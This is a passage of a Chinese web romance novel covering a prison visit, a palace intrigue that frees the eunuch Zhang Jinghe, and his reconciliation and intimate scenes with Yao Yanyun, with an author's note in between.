“姚姐姐,那……那是张公公吗?”方淑惠紧紧攥着姚砚云的衣袖,声音带着一丝颤抖。顺着她示意的方向望去,只见牢房最里侧的角落,蜷缩着一个人影,双手抱膝,长发凌乱地披散下来,遮住了大半张脸,身上的衣衫破烂不堪,沾满了污渍与暗红的血迹,看着格外凄凉。 “景和,景和”姚砚云的心猛地一痛,再也按捺不住,扑到门前,双手用力拍打着门。 可那角落里的人影,一动不动,既没有应声,甚至连头都没有回一下,仿佛完全没有听到她的呼唤。 “景和,你理我一下好吗?”姚砚云的哭声越来越响,双手拍得生疼,可里面的人依旧毫无反应。 她将手里的灯笼往门边凑了凑,借着微弱的光,看到的左脚踝处,有一个狰狞的血窟窿,伤口周围的皮肉已经发黑肿胀,显然是受了刑后没有得到医治,早已流脓发烂,散发着刺鼻的异味。 又对着牢房里的人哀求,“景和,你坐过来一点,让郎中帮你看看伤。” 寂静的牢房里,只有姚砚云的哭声与门板声的回响。 过了许久,一个沙哑、干涩的声音,才缓缓从角落里传来 “姚砚云,你为什么总是喜欢和我作对?,我明明把一切都x安排好了,你这样自作主张跑回来,你以为我会感谢你吗,带上你不值钱的眼泪,赶紧给我走。” 姚砚云道:“你过来让我看一下,我就走。” “走!”张景和的声音陡然拔高。 姚砚云看着他蜷缩在角落、拒人千里之外的模样,看着他脚踝处溃烂的伤口,所有的委屈、担忧与心痛瞬间爆发:“好!既然你一心求死,那你就去死吧!” 话音落下,她猛地转过身,头也不回地朝着通道深处走去。 方淑惠见状,连忙对着牢房里狠狠瞪了一眼,快步跟上姚砚云的脚步。可走出没几步,方淑惠却忽然停住了脚。 她回头望了望姚砚云孤单决绝的背影,又转头看向那间漆黑的牢房,咬了咬牙,猛地调转方向,大步走了回去。 “张公公!”方淑惠双手叉腰“说实话,我一直不喜欢你,你也配不上姚姐姐,可我也不知道你到底修了几辈子的福气,竟然能让姚姐姐心甘情愿为你付出这么多!你出了这样的滔天大祸,姚姐姐都不知道求了我伯父多久,才换来这么一次进来见你的机会!而你,却不领情。你一点都不男人。” 她像是打开了话匣子,一肚子的不满倾泻而出,断断续续地骂了将近两刻钟。 牢房里始终一片寂静,只有方淑慧的怒骂声在通道里回荡。可就在她骂得口干舌燥,准备转身离开时,角落里的人影忽然动了。 张景和缓缓抬起头,凌乱的长发下,那双眼睛里布满了红血丝。他撑着冰冷的地面,一点点朝着门边挪动,终于,他挪到了门边:“劳烦郎中……看看吧。” 郎中连忙上前,借着灯笼的光仔细查看他的伤口,眉头越皱越紧,叹了口气:“这伤口耽搁太久了,已经化脓溃烂,深可见骨,若是再晚些处理,怕是这腿……就保不住了。” 张景和闻言,露出一抹苍凉的笑:“无妨。都是将死之人了,一条腿罢了,有没有都无所谓。” 方淑惠听得心头一堵,刚想再骂他几句,到了嘴边的话又咽了回去。她冷哼一声,转身就要走。 就在这时,张景和忽然开口,叫住了她:“让她赶紧走吧,京师凶险,莫要再为我耽搁。还有……谢谢她替我做的这些。” 这是他的真心话,只是有些遗憾,他终究没有机会告诉她,他有多爱她,多在乎她。 想告诉她,他很早很早以前就喜欢上她了,只是那时,碍于可笑的面子,更碍于他残缺卑微的身份,他只能把这份心意死死藏在心底,装作冷淡疏离,装作毫不在意。 第119章 姚砚云转身便直奔陈秉正的牢房而去。 陈秉正的境遇不比张景和好半分,似乎也断了求生的念头。好在经姚砚云一番苦口婆心的劝说,他总算重拾了些求生的意志,愿意开口与她说话了。 姚砚云问道:“难道真的没办法了吗?可你们当初是奉旨行事啊,若是抗旨不遵,就是对皇上不忠不义。” 陈秉正叹了口气:“太后并非不知此事,可她如今孤儿寡母更何况这事她只能装作不知,要是这事摆到台面上来,皇家颜面何在?皇上的颜面又何在?难道要让天下人都知道,先帝有弑兄之名?” 姚砚云眼中闪过一丝光亮:“这么说,如今的变数全在皇上和太后身上?只要他们愿意出手,你们就还有一线生机?” “是,可皇上与太后,实在没有出手救我们的理由。”陈秉正的声音里满是绝望。 姚砚云连忙道:“我已经写信给芸娘了,她这几日应该就会赶来京师。陈公公,你先别急着放弃希望,芸娘背后有干爹坐镇,说不定他能想出法子。 说罢,姚砚云便退出了牢房。方才在牢中,她句句都在安慰陈秉正,劝他莫失求生之志,可她自己心里却半点底都没有。那些安慰的话语,不过是自欺欺人罢了,她哪里有什么真正的办法? 第三日,芸娘果然抵达了京师。她收到姚砚云的信时,与冯大祥都没料到事情竟已严重到这般地步。自从两人回乡后,便几乎过着隐居的日子,骤然得知这消息,皆是大惊失色。 芸娘见了姚砚云,开门见山:“你干爹说了,这事难办。毕竟牵扯到先帝,如今能救他们二人的,唯有皇上。” 姚砚云闻言,心瞬间沉了下去:“可皇上怎么可能为了他们两个,让先帝背负弑杀的罪名?” “你说得没错,你干爹也是这个意思。”芸娘轻叹,“这事,终究得看皇上那边。” 听到这话,姚砚云积压多日的委屈与绝望瞬间涌上心头,眼泪毫无预兆地滚落下来。 芸娘见状,亦是叹气:“这一切,都怪高义那老贼!” “我听陈公公说,如今朝堂全由他把持着,连新帝都不放在眼里。”姚砚云擦了擦眼泪,声音带着愤懑,“他竟私下里说,新帝不过是个十岁的孩童,十岁的孩童如何能当皇帝?” 芸娘闻言,先是一愣,随即急忙追问:“他说,他说十岁的孩童怎么了?” “他说,十岁的孩童如何做皇帝。”姚砚云重复了一遍。 “这话当真是高义说的?”芸娘的神色变得凝重起来。 “千真万确,是陈公公亲口告诉我的。”姚砚云笃定道。 芸娘心中顿时咯噔一下,思绪飞速运转。冯大祥此前便多次跟她说过,高义此人嚣张跋扈,迟早会搬起石头砸自己的脚。她虽一介女流,不参与朝堂纷争,却也知晓“十岁孩童如何做皇帝”这话的分量——这分明是大逆不道之言,他难道是想谋逆不成? “单是这一句话,就足够定他的死罪了。”芸娘沉声道,“若是能让皇上听到这话就好了。他这般嚣张,想必皇上心中对他早已不满。” 姚砚云眼中重新燃起一丝希望:“那有没有办法让皇上知道这件事?” 芸娘摇了摇头,语气无奈:“难。如今朝中大臣,哪个不忌惮那老贼?谁又敢冒这个险?” 两人皆是陷入沉思。片刻后,姚砚云忽然眼睛一亮,像是想到了什么,凑到芸娘身前,压低声音在她耳边细细说了起来。 商议已定,两人当即动身前往方府,求见方明毅。方明毅听闻是冯大祥的夫人到访,犹豫再三,终究还是让人开了门。 刚一落座,芸娘便开门见山:“方大人,我家老爷在我面前提起你时,向来赞不绝口,说你是难得的治世之才,比那姓高的更堪当首辅之位。” 方明毅脸色骤变,连忙摆手:“冯夫人,慎言!此等僭越之言,可不敢乱说!” 芸娘却不以为意,继续说道:“方大人,以你的才学与资历,这些年却一直被那老贼压得抬不起头,你心中当真甘心?难道你就从未想过,取而代之,执掌内阁?” 方明毅避开她的目光,沉声道:“我不明白冯夫人的意思。” “方大人是个聪明人,怎会不明白?”芸娘语气加重,“那高义把持朝政,目无君上,竟还敢说新帝是十岁孩童,不堪为君——此等大逆不道之人,难道不会危害朝廷根基?这话想必还未传到皇上与太后耳中,而他们母子,想必也早已对高义心存不满。你为何不趁此机会,为自己博一个前程?” 她顿了顿,又道:“你该知道我想说什么。如今皇上与太后,缺的不过是一个处置高义的由头。再者,方大人扪心自问,自先帝驾崩后,那老贼把朝堂搅得乌烟瘴气,这难道是你所期望的盛世景象吗?” 方明毅垂着头,指尖微微颤抖,始终一言不发。 芸娘见状,也不再多言,起身说道:“过几日,我便会进宫拜见太后。我家老爷另有一封亲笔信,托我转交太后。话已至此,如何抉择,全在方大人自己。” 离开方府后,姚砚云便搬去了冯府,与芸娘同住。这般一来,若是再有什么对策,两人便能第一时间商议。 其实,让芸娘主动去找方明毅摊牌,正是姚砚云的提议。她想起先前高义曾想借药丸之事陷害张景和,当时便是方明毅暗中将此事告知了她。她想,这不仅是因为方明毅感念张景和曾救过女儿方淑宁的性命,更藏着他对高义的不满。 姚砚云料定,方明毅未必没有登顶首辅的心思,不如趁这个机会点醒他,借他之手扳倒高义。 方明毅本就是当今皇上的启蒙恩师,早在x皇上还是太子之时,便由他伴读授课。 芸娘的一番话,确实让他动了心——这无疑是个千载难逢的良机。他早已察觉,皇上对高义的跋扈早有不满,甚至曾在私下授课时向他抱怨过几句。这日进东宫授课,方明毅状似无意地,将高义那句“十岁孩童如何做皇帝”的狂言转述给了皇上。 皇上听罢,当即勃然大怒,当即遣了多个心腹太监暗中查证,结果证实这话果然是高义亲口所言。 皇上又惊又怒,连忙将此事禀报给了太后。太后一听,脸色瞬间煞白,比皇上还要慌张。历史上权臣废立君主的例子屡见不鲜,她越想越怕,又猛然记起近日两位秉笔太监因“谋杀亲王”入狱之事。太后心中明镜似的,那桩事本就是先帝当年暗中授意所为。 高义这般大放厥词,分明是在打先帝的脸!毕竟,那亲王是先帝下令杀的,如今高义却拿“十岁孩童不配做皇帝”做文章,莫非他真的有什么其他心思?念及此处,太后只觉得后脊发凉,惊出了一身冷汗。 这般惴惴不安地过了数日,终于到了芸娘求见的日子。因冯大祥向来深得太后信任,芸娘先前也常奉太后之命进宫伴驾,两人也算有几分交情,入宫的流程格外顺利。 见到太后,芸娘先是躬身行礼,随即满面哀戚地悼念先帝,泣声道:“我家老爷得知先帝驾崩的消息后,日夜以泪洗面,只恨自己身子不济,未能回京送先帝最后一程,这份遗憾,怕是要伴随终生了。” 说着,她便红了眼眶。太后本就因先帝之死心绪难平,被她这般一说,顿时悲从中来,忍不住掩面啜泣起来。 待太后情绪稍稍平复,芸娘才从袖中取出一封信函,双手奉上:“太后,这是我家老爷托我转交您的亲笔信。信中皆是他的忏悔之语,懊恼自己未能送先帝最后一程,其余的,便全是对皇上与您的祝福。” 只是这封信里,却藏着一句极为巧妙的话:“临出宫前,先帝曾与臣提及,先前与方次辅商议过郊外狩猎之事。如今先帝已然西去,臣的身子也大不如前,此事终究成了憾事。” 方明毅的那番话,终于彻底动摇了皇上与太后对高义的信任。信任这东西,一旦有了裂痕,便再也难以弥合。此后多日,皇上与太后终日忧心忡忡,总怕高义权势过盛,生出不臣之心。 几番权衡之下,两人终于在一日下定决心:必须废黜高义的首辅之位,以绝后患。 次日早朝,金銮殿上气氛凝重。皇上当着文武百官的面,历数高义把持朝政、目无君上、妄议圣躬等罪状,当场下旨废黜其首辅之职,勒令他即刻收拾行囊,离京返乡,永世不得回京。 紧接着,又下一道圣旨,擢升方明毅为内阁首辅,主持内阁要务。 高义倒台,朝堂格局重塑。此前因“谋杀亲王”一案入狱的张景和、陈秉正,自然被无罪释放,官复原职。一场席卷朝堂的风波,就此尘埃落定。 第120章 出狱这天,来接张景和的是吉祥与富贵。 吉祥那日从同州赶回京师后,也卷入风波,下了狱,好在后来风波平定,也顺顺利利放了出来。 张景和目光在两人身后扫了一圈,没看见那个熟悉的身影,心猛地一沉,急声问道:“姚砚云呢?” 富贵低声回道:“老爷,姚姑娘……姚姑娘跟芸娘走了。” 张景和本就瘸着一条腿,闻言浑身一软,身形晃了晃便直直往下栽。富贵眼疾手快,连忙上前稳稳扶住他。 “什么意思?”他抓住富贵的胳膊,声音都在发颤,“她为什么要走?” “姚姑娘让小的转达老爷你,”富贵不敢看他的眼睛,垂着头复述,“她说老爷你从前对她有恩,她一直记在心里。这次你能平安出狱,也有她的一份力,就当是报了你的恩情。往后……往后你们桥归桥,路归路,希望你早日寻得心上人。” “桥归桥,路归路……”张景和喃喃重复着这八个字,只觉得天旋地转,心口像是被一只无形的手紧紧攥住,疼得他几乎无法呼吸。 原来,姚砚云终究还是要离开他。 也是,这阵子她为自己做了那么多,可自己那日在牢房里,却那般恶语相向。她走是应该的,经此一遭,她该是看清了,跟着自己这样的人,终究没有好日子过。她向来是聪明的,有这个想法倒是也不意外。 他不怪她的选择,只怪她走得太急,连让他送一程的机会都不肯给。 大抵是怕自己拦着,不肯放她走吧?张景和嘴角牵起一抹苦涩的笑,眼底满是落寞。可她都已经还了恩情,自己又有什么资格拦着?罢了,就当是成全她。 他定了定神,声音沙哑地追问:“她什么时候走的?” “刚出城没多久。”富贵答道。 “回府吧。”张景和挥了挥手,语气里听不出喜怒,只是那微微颤抖的指尖,暴露了他并不平静的心境。 坐上马车,车厢里一片死寂。他没有半分出狱的喜悦,只有满心的空落。马车行至一处热闹的街角,微风从车窗缝隙钻进来,裹挟着街头的欢声笑语。 他掀开窗帘,只见街上人来人往,男女老少脸上都带着轻松的笑意。街角处,一对年轻男女正羞涩地相对而立,少女红着脸,将一串红彤彤的糖葫芦递到少年手中。 马车渐渐驶远,那对男女的身影被抛在身后。张景和却忽然愣住了,脑海中猛地闪过一幅画面——姚砚云刚入张府时,也曾那般不情不愿地递过他一串糖葫芦,只是他还没来得及伸手去接,她便直直地晕了过去。 她就这么走了?真的要从自己的生命里彻底消失了?想到这里,张景和只觉得头痛欲裂,心脏像是被生生剜去一块。 不,他舍不得!他不能让她走!他要她留下,求她再给自己一次机会! “停车!”张景和猛地拍打车壁,声音急切而嘶哑,“出城!快,追上芸娘的马车!” 好在芸娘的马车走得不快,富贵挥鞭策马,出了城后,没多久便远远望见了前方那辆熟悉的马车,很快就追了上去。 马车刚一停稳,张景和便迫不及待地跳了下去。他拖着那条瘸腿,一步一步艰难地走到芸娘的马车前,额头上渗出细密的汗珠,也全然不顾。 “砚砚……”他声音哽咽,“你不要走,求你不要走……” “我是真的喜欢你,很早很早之前就喜欢上了,只是碍于那可笑的面子,又怕被你拿捏,所以,所以一直不敢承认,你不要走好不好” “我如今想明白了,我愿意被你拿捏一辈子。往后张府里,你最大,我什么都听你的。求你,不要走。” “我这辈子都会爱着你,宠着你,求求你也可怜可怜我,爱我一回罢不要走。” “砚砚,你下车看我一眼,就一眼……” 张景和后面又絮絮叨叨地说了很多,直到口干舌燥,喉咙发紧,车厢里依旧半点动静都没有。 他的心一点点沉下去,凉透了。她终究是对自己彻底失望了,自己这一次,是真的要失去她了。 “砚砚” “砚砚” “砚砚” 一声声呼唤,在空旷的郊外格外清晰。 “玄英!你是不病了!发什么疯啊!你拦下我的车做什么?又在我车前鬼哭狼嚎什么?”芸娘的声音从车厢内传来。 紧接着,车帘被猛地掀开,芸娘叉着腰走了下来。张景和眼睛一亮,连忙踮起脚尖往车厢里张望,可里面空空荡荡的,哪里有姚砚云的身影? 他愣住了,怔怔地看着芸娘:“干娘姚砚云呢。” 芸娘没好气地白了他一眼:“我跟她是在你府里道的别,难不成她不在府里?” “啊?”张景和惊得张大了嘴巴,脸上的悲伤还没褪去,又染上了几分窘迫,“我……我还以为她跟你一起走了……” 他这才反应过来自己刚才有多失态,脸颊瞬间涨得通红,连忙找补道:“干娘,你怎么走得这么急?” “我放心不下你干爹,”芸娘道,“再说你如今也平安出狱了,我自然要回去了。” 她走上前,拍了拍张景和的肩膀,意味深长地叮嘱:“好了,我要回x去找你干爹了。记住,你这次能出来,砚云费了不少心思,往后可得好好对她,别再让她受委屈了。” 张景和重重地点了点头,心里的巨石轰然落地,取而代之的是难以言喻的欣喜与愧疚。他目送着芸娘上了马车,才转身对富贵急声道:“快,回府!” 马车一路疾驰,停在张府大门前的那一刻,张景和几乎是踉跄着跳下车。他全然顾不上腿上的疼痛,拖着那条瘸腿,脚步踉跄却急切地往府里赶。 第一个念头便是去姚砚云住的踏月轩,他三步并作两步冲过去,里里外外翻找了一圈,却连个人影都没见着。 一颗心瞬间又悬了起来,急得他额角冒汗,身子都在发颤。他不敢多想,又咬着牙,拖着沉重的腿赶往望雪坞。 推开望雪坞的大厅门,里面空空荡荡,依旧没有那抹熟悉的身影。张景和身形一软,失神地跌坐在一旁的椅子上,脑海里乱糟糟的,反复琢磨着她到底去了哪里,难道芸娘骗了自己?已经提前把她送走了? 就在他心慌意乱之际,隐约听到隔壁自己的寝室内,传来细微的声响。他猛地站起身,几乎是连滚带爬地走了过去,推开房门的瞬间,整个人都定在了原地。 只见姚砚云正站在屋中,手里拿着一块湿布,细细地擦拭着桌案。阳光透过窗棂洒在她身上,镀上一层柔和的光晕。 原来,她没走。 张景和喉咙发紧,眼眶微微发热,声音带着颤抖,轻声唤道:“砚砚……我回来了。” 姚砚云听到他的声音,擦拭的动作一顿,缓缓转过身来,见是他,立马笑了—— 作者有话说:还有2-3章左右就完结了,谢谢这段时间大家的支持,马上就要2026年了,祝大家在新的一年里万事如意。番外的话,我等下开个楼,大家想看啥,留言一下,我看下有没什么灵感,没啥想看的,我就自由发挥了。《 》 【全文完】 第121章 张景和疾步上前,将人死死拥入怀中,声音发颤:“我还以为你走了不要我了。” 这不过是姚砚云让富贵设下的小圈套,算是对他前些时日执意推开自己的一点薄惩。 她抬手回抱住他,指尖轻轻摩挲着他粗糙的脊背,温声道:“我不走,这辈子都赖着你了。” 两人抱了好一会儿,姚砚云才有些赧然地嗫嚅着开口:“那个那个” 张景和问:“怎么了。” 姚砚云道:“你身上臭臭的,要不先去洗一下吧” 张景和霎时窘迫地松了手。他在牢狱中困顿多日,蓬头垢面,衣衫上结着泥污,模样竟与街边乞丐无甚分别。他耳根泛红,低声道:“那我先去收拾干净。” 待张景和沐浴更衣出来,姚砚云早已让人在府门前备好了火盆,又取来一把新鲜的柚子叶。她扶着他缓缓跨过火盆,再握着柚子叶,细细扫过他的衣襟袖口,动作轻柔又郑重。这是民间驱邪去污的老法子,盼着能替他拂去牢狱里沾染的晦气。 “我已让吉祥去请常圣手了,替你瞧瞧腿伤,算算时辰,约莫也该到了。”说罢,姚砚云便小心翼翼地扶着他,缓步往花厅而去。 二人刚在花厅落座没多久,常圣手救掀帘而入。他抬眼望见椅上的一对人,霎时满脸惊愕,随即重重冷哼一声,语气里满是不悦:“怎么又是你们两个?” 犹记上次,姚砚云寒冬腊月不慎落水,常圣手瞧着她那般不爱惜自己的身子,当下便撂下狠话,说这张府的诊,他往后是断断不接的。此番会来,全因侍从回报,说有人出了天价请他出诊,却只字未提是何人。 吉祥也是留了个心眼,生怕他得知真相后掉头就走,干脆让人将他的轿子径直抬到了花厅门前,断了他反悔的余地。 张景和见他这般态度,一把火又升了起来:“你这是什么神情?这般反应,是什么意思?” “老夫先前说得清楚,不给你们两口子看病!你们这般把我骗过来,是何居心?”常圣手吹胡子瞪眼,怒气冲冲。 “你!”张景和胸口起伏,正要发作。 姚砚云眼疾手快,一把捂住他的嘴:“你给我闭嘴!” 随即她转过身,面带笑意和常圣手道歉:“常圣手莫恼,实在是情非得已。我家公公的腿伤拖得久了,寻常郎中医术不精,怕是治不好,反倒要落下病根。他是在御前当差的人,若是腿疾难愈,可怎么好?” 姚砚云絮絮叨叨说了许多软话,又许了丰厚的诊金,常圣手脸色这才缓和些许,终是松口应下了诊治。 待诊脉敷药完毕,已是暮色沉沉。张景和又忙着料理府中琐事,他入狱之前,没想到自己还能活着出来,早将府中下人一一遣散,还各给了一笔安家银。 如今府里除了他的卧房被姚砚云简单打扫过,其余各处皆是积尘遍地,蛛网横生。他与姚砚云二人忙前忙后,将府中诸事一一安排妥当,夜已经黑了。 寝室内烛火摇曳,暖光漫过窗棂,将两人的影子轻轻叠在墙面上。姚砚云侧靠在张景和肩头,听他低声说着这段时日朝中发生的事。 末了,张景和抬手捧住她的脸,指腹细细摩挲着她的脸颊:“有你真好。” 话音未落,他的唇便覆了上来,唇齿相缠间,溢出细碎的水声与喟叹。两人不知疲惫地相拥着辗转,从门边到书案,最后张景和打横抱起姚砚云,走向床榻。 到了这一步,张景和却没了动作,这些事他日思夜想很久了,真到了这天,人就在眼前,不知道怎么的,又不敢了。 姚砚云察觉他的迟疑,抬手环住他的脖颈,指尖灵巧地解开他亵衣的系带。待要褪下他的长裤时,张景和却猛地攥住她的手腕,喉结剧烈滚动着:“这样……不好……” “有什么不好的?”姚砚云凑到他耳边,轻轻咬了咬他泛红的耳垂。她没等他回应,先利落地褪下自己的亵衣,而后拉着他的手,缓缓引向自己粉荷色的肚兜系带。 丝绦轻垂,肚兜应声滑落,莹白细腻的肌肤伴着淡淡的馨香,便这般一览无遗地展现在他眼前。 “砚砚……我……你……”张景和霎时语无伦次,脸颊红得像是醉了酒,连耳根与脖颈都染上了浓重的绯色,眼神慌乱得不知该往何处安放。 姚砚云环紧他的脖颈,眼尾泛红,无奈又羞臊,仰头望着他闪躲眼眸:“你不想过来吃吗?” 张景和喉间重重滚动了一下,眼尾早已赤红,终是低下头,吻了过去。 窗外蝉鸣聒噪,屋内烛火跳跃,将两人交/。缠的影子拉得老长。不知过了多久,姚砚云身上布满了细密的红痕。 终于决定休息一会儿张景和,望着眼前这般景象,眼底满是慌乱与自责:“砚砚,我,我是不是弄痛你了。” 姚砚云的眼睛湿漉漉的,像含着一汪漾动的清泉。她撑着酸软的身子缓缓坐起,用自己的额头轻轻抵着他的额头:“景和,让我看看你。” 她已下定决心,今日要彻底让他接纳自己,也要让他清清楚楚地知道,她从不在意他有没有那玩意,她爱的,从来只是他张景和这个人。 张景和的身子猛地一僵,眼神躲闪着:“我怕吓到你,那里……很难看的。” “今晚你可以对我为所欲为,那我也可以。”姚砚云的指尖轻轻抚过他紧绷的下颌线,“你要是不愿意,那我就帮你脱。” 张景和本能地想拒绝,可对上姚砚云那双盛满无辜与渴望的眼眸,再瞥见她身上那些由自己留下的红痕,心中的防线瞬间溃不成军,他都这般对她了,哪里还有资格拒绝? 他几乎是手抖着去解自己的衣物,磨磨蹭蹭了许久,才终于将衣物褪尽。 当自己的过往与伤痕毫无保留地一览无遗展现在她面前时,一股难以言说的羞耻与惶恐瞬间席卷了他,让他几乎要狼狈地躲开。可姚砚云没有给他逃避的机会,一把将他紧紧抱住:“景和,我一点都没有被吓到。”她说着,仰头吻上他的唇,用炙热的吻驱散他的不安。 “现在,你可以对我为所欲为了。”她在他唇间轻声呢喃。 张景和望着她,心中所有的顾虑都在此刻烟消云散。是啊,他爱姚砚云,姚砚云也爱着他,这便足够了,还想这x么多做什么,他不再迟疑,俯身重新吻住她。 鼻尖,唇,颈部,锁骨,腰肢,都不放过 姚砚云颤抖着身子,指尖紧紧攥着他的脊背,细碎的喘息与轻/。吟在屋内散开。 过了好久,张景和才从她腿侧口口钻了出来。 他舔了舔唇,俯下身子道:“我得和你说明白,这事和亲亲摸摸不是一回事。” 姚砚云红着脸:“哎呀我我我知道” 张景和扯开被子地将她裹住,而后伸手将她紧紧搂进怀里。 夜渐深沉,烛火渐渐微弱。屋内的喘息渐渐变得急促。 后面姚砚云颤声求饶,细碎的求饶声混着眼泪溢出,又哭又喘 翌日晨光熹微,两人相拥着醒来,姚砚云窝在张景和怀里,想起昨夜的缱绻温存,脸颊蓦地飞上一抹红霞,心里却生出一下其他的念头。 她抬眼觑着他,指尖轻轻戳了戳他的胸膛,佯作嗔怪道:“你先前不是说,从未有过其他女人么?” 张景和正低头梳理她鬓边的碎发,闻言动作一顿,垂眸看她:“我的确没有。” “那昨日你怎的那般熟练?”姚砚云挑眉追问,“瞧着倒是样样精通,半点不生疏。” 张景和: 姚砚云见他这般模样,愈发笃定了自己的猜测,故意板起脸来:“看吧,被我猜中了!你定是有过许多相好的!” “我真没有”张景和急忙辩解。 姚砚云却不依不饶,撑着身子作势要下床:“哼,不说实话,我不理你了。” 张景和见状,连忙起身伸手将她拉回怀里,箍得紧紧的,耳根泛红,声音低得像蚊子哼:“你别走……我说便是……我先前看过那本画册……” “我画的那本?”姚砚云蓦地睁大了眼,随即忍不住笑出声来。 张景和窘得无地自容,只能闷着头,轻轻点了点。 “好啊你!”姚砚云伸手捏了捏他的脸颊,笑得眉眼弯弯,“先前还说扔了,原是偷偷藏起来,背地里看得仔细呢!真不老实!” 张景和被她说得面红耳赤,索性将脸埋进她颈窝,再不肯吭声。 两人闹了一阵,方才起身洗漱。用过早膳,张景和因腿伤未愈,暂且不必入宫当值,只在府中安心养伤。姚砚云和他提起。同州还有马冬梅与三喜等人,他安排妥当了车马人手,着人赶去同州,将他们接回京师。 诸事安顿妥当,两人又在书案前规划府中事宜。 第122章 两个月后 张景和正在偏室更衣,富贵站在他身旁,替他理着衣领,又准备系玉带。 姚砚云掀帘而入,看着富贵笑了笑:“你出去吧,我来。” 富贵应声退下,屋内只剩两人。 张景和回身看她:“怎么不多睡一会。” “听见你起身的动静,便睡不着了。”姚砚云走上前,替他系腰间的玉带。 两人约好了今日同去街上逛逛,张景和起得早,已穿戴好了。姚砚云转身从一旁的衣箧里拣出两套衣裙,湖水绿的纱裙,和桃粉色的罗裙。她将衣裙在身前比了比,转头问他:“景和,你看我穿哪件更好?” 张景和打量片刻:“湖水绿的这个。” 姚砚云道:“那就这件吧,帮我更衣。” 她褪去外衫,只余下一身红绣肚兜,露出的颈项、肩头乃至腰侧,皆是深浅不一的红痕,纵横交错,惹眼得很。她抬眸看向张景和,似嗔似怨地睨着他:“你自己看看,都怪你” 张景和: 见他这般窘迫模样,姚砚云忍不住笑了,踮起脚尖捧住他的脸,亲了一口:“你真可爱。” “哪有男子被人夸可爱的?”张景和这下终于开口了,眉梢微蹙,心里却暗自嘀咕,难不成是自己长得太寒碜,竟让她寻不出别的夸赞之词? 姚砚云理直气壮:“我夸的就是你,不行吗?” 张景和追问:“那你也夸过其他男子可爱吗?” 姚砚云道:“那倒是没有。” 张景和又问:“那你夸过其他男子好看吗?” 姚砚云歪头想了想,眉眼弯弯:“有啊,陈公公那容貌,当真是绝世无双呢。” 张景和闷声道:“这种特别好看的不算!我的意思是,除了他呢?” 姚砚云眨了眨眼,没太明白他的意思。 张景和却忽然俯身,目光灼灼地盯着她,语气郑重:“那我问你,那是我好看一些,还是那姓蓝和姓陈的好看一些?” 姚砚云想也没想,脱口而出:“自然是你咯。” 张景和呵呵一笑:“都不用想一下?” 姚砚云道:“我喜欢白的,你比他们都白净,皮肤还那么滑,自然是你好看咯。” 张景和: 合着自己在她眼里,竟只是个小白脸不成? 之后姚砚云又对着铜镜细细打扮了一番,描眉点唇,敷了层淡淡的胭脂,才牵着张景和的手,兴冲冲地预备出门。 谁知刚走到廊下,张景和却忽然停下脚步,蹙眉道:“不对。” 姚砚云疑惑地回头:“哪里不对了?” “你的发髻。”张景和牵起她的手,不由分说地往回走。 他将姚砚云按在妆台前的梨花木椅上,取过玉梳,替她将披散的长发细细梳顺。不多时,便挽成了一个已婚女子端庄的同心髻,又簪上一支赤金镶珠钗。 镜中的女子,发髻温婉,眉眼含笑。张景和放下玉梳,俯身凑到她耳边,低声问:“知道这代表着什么吗?” 姚砚云转过身,伸手环住他的脖颈,难得羞涩了一回:“代表我是有夫君的人了。” 两人出了门,原是打算往杏花楼寻些吃食。才拾级上了二楼,姚砚云一眼便瞥见了角落里的陈忠义,他正与几位同僚推杯换盏,谈笑风生。 当时她与陈忠义见面那事被张景和撞破,张景和还没来得及琢磨出什么法子来整他,先帝便骤然宾天。而后风波迭起,张景和锒铛入狱,这事就暂时被放在了一边。 姚砚云怕他不开心,更怕无端生出什么是非,忙攥住他的衣袖,低声道:“我忽然不想吃了,走吧。” 张景和却纹丝不动:“走什么,不是说好来吃饭吗。” 姚砚云蹙眉:“瞧见他在这边,影响胃口,我们还是走吧。” “要走,也该是他走。”张景和一脸从容。说罢,他反握住她的手,特意带着她绕了个圈子,从陈忠义那一桌旁施施然走过。 十年交情又如何?到最后,姚砚云选的还是他张景和。姓陈的不过是个跳梁的小丑罢了。他甚至懒得多看那人一眼,只扬着下巴,步履从容地穿过,那副得意的模样,倒像是发生了什么天大的喜事一样。 他自然也不会去找他算账了,不然显得,他和姚砚云为了他这个挑梁小丑还怎么样了似的。 姚砚云看着他一脸得意的样子,忍不住好笑:“你偷着乐什么呢?” 张景和敛了神色,一本正经地挑眉:“没有啊,我哪里有笑?” 他这边云淡风轻,那头的陈忠义却如坐针毡。待两人的身影消失在雅间门口,他草草交代了几句,便铁青着脸,连饭也没心思吃了,拂袖而去。 这顿饭吃得倒是尽兴。饭后张景和依着姚砚云的心意,陪她沿街逛去。谁知这一逛,竟逛出满满当当一车的物什。 回府时,张景和只觉双腿灌了铅,连腰都直不起来了。他暗自咋舌,这半日陪着她走走停停,比他在宫里彻夜当值十日还要累!偏生姚砚云兴致高昂,绸缎钗环、胭脂水粉,各种各种的零嘴,甚至连街边卖的糖人泥偶,都要凑上前把玩半晌,合心意的便尽数买下。 他在心里暗暗发誓,往后说什么也不陪她逛街了 车马刚停在府门前,便见马冬梅与三喜正指挥着下人搬东西。三喜抬眼瞧见自家老爷那副气喘吁吁、狼狈不堪的模样,忙低下头,嘴角却忍不住微微抽搐,从前陪姚姑娘逛街的差事,可都是落在他头上的,每次回来都要掉半条命,如今总算有人替他受罪了。 用过晚膳,夜色渐浓。两人便在庭院里散步消食,晚风拂过,带着草木的清芬。走得累了,便在鲤鱼池边的石凳上歇脚。 两人并肩坐着,絮絮说着话,说着说着,张景和便侧过身,目光灼灼地望着她,随即俯身,轻轻吻上她的唇角。 “那边有人”姚砚云目光一颤,瞥见不远处正扫地的丫鬟,脸颊倏地泛红,忙偏过头推他。 张景和却不松开,只含着她的唇瓣,低低笑了声:“那回去就可以是不是?” 姚砚云:x 她还想再吹会儿晚风,便没有理他。谁知下一刻,腰身一轻,竟被他打横抱了起来:“那我们回去罢。” 他抱着她刚走了几步,迎面便撞见几个洒扫的小厮。众人见状,皆是一惊,忙不迭地垂下头,连大气也不敢喘一口。 姚砚云平时虽主动,可只限于私底下只对张景和,她道:“哎呀,放我下来,我自己能走,这么多人看着呢” 张景和却充耳不闻,双臂紧了紧,大步流星地朝着望雪坞而去。 刚踏进门,他便抬脚勾住门闩,“砰”的一声将门阖上。不等姚砚云反应过来,便被他稳稳地放在了床榻之上。 他俯身覆下,灼热的吻密密麻麻地落下来,从眉眼到鼻尖,再到颤抖的唇瓣。不多时,罗衫轻解,衣衫委顿于地。 